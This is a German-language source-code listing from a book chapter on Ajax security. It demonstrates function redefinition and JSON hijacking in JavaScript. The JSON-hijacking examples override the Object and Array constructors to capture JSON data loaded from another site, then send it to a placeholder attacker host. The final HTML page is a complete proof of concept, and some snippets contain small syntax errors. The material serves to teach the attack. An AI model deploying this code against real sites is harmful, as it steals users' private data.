Ajax Security - Quelltexte Kapitel 8
8.2 Ajax-Hijacking
8.2.1 Funktionen umdefinieren
<script>
function multipliziere(a, b) {
var c = a * b;
alert(a + " mal " + b + " ergibt " + c);
}
setTimeout("multipliziere = function() {alert('Hi Jack was there');} ", 10000);
</script>
var originalAlert = window.alert;
function falscherAlert(nachricht) {
ausgabe = "Melde gehorsamst: " + nachricht;
originalAlert(ausgabe);
}
window.alert = falscherAlert;
alert("Nichts zu melden!");
8.2.4 On-Demand-Ajax und Hijacking
<script>
var funktionsliste = "";
for (var i in window) {
if (typeof(window[i]) == "function") {
funktionsliste += I + "\n";
}
}
alert(funktionsliste);
</script>
8.3 JSON-Hijacking
8.3.1 Angriff mit Mozilla-spezifischen Funktionen
<script>
// Überschreiben des Object()-Constructors:
// Immer wenn das Feld "letztes-Feld" gesetzt ist, wird captureObject() aufgerufen
function Object() {
this.letztes-feld setter = captureObject;
}
// Das ausgespähte Objekt wird an den Server des Angreifers gesendet
function captureObject(x) {
var daten = "";
for (feld in this) {
daten += feld + ": " + this[feld] + ", ";
}
daten += "letztes-feld: " + x;
var req = new XMLHttpRequest();
req.open("GET", " http://www.angreifer.example/datenklau.cgi?daten=" +
escape(daten), true);
req.send(null);
}
</script>
// Die JSON-Daten werden über ein script-Tag eingelesen
<script src="http://www.server.example/daten.json></script>
8.3.2 Angriff ohne Mozilla-spezifische Funktionen
function Array() {
var jason = this;
var dieb = function() {
var ergebnis = "Das Array enthält folgende Daten: [";
for (var x in jason) {
ergebnis += jason[x] + ", ";
}
ergebnis += "]";
alert(ergebnis);
};
setTimeout(dieb, 250);
}
Beispiel
<html>
<head>
<title>JSON Hijacking</titel>
</head>
<body>
<script>
function Array() {
var jason = this;
var dieb = function() {
var ergebnis = "Das Array enthält folgende Daten: [";
for (var x in jason) {
ergebnis += jason[x] + ", ";
}
ergebnis += "]";
var req = new XMLHttpRequest();
req.open("GET", "http://www.angreifer.example/datenklau.cgi?daten="
+ escape(ergebnis),true);
req.send(null);
};
setTimeout(dieb, 250);
}
</script>
<!-- Die zu stehlenden JSON-Daten -->
<script src = "http://www.server.example/daten.json"></script>
<h1>JSON-Hijacking</h1>
<p>
Die entführten JSON-Daten wurden an den Angreifer gesendet.
Vielen Dank für Ihre Mitarbeit!
</p>
</body>
</html>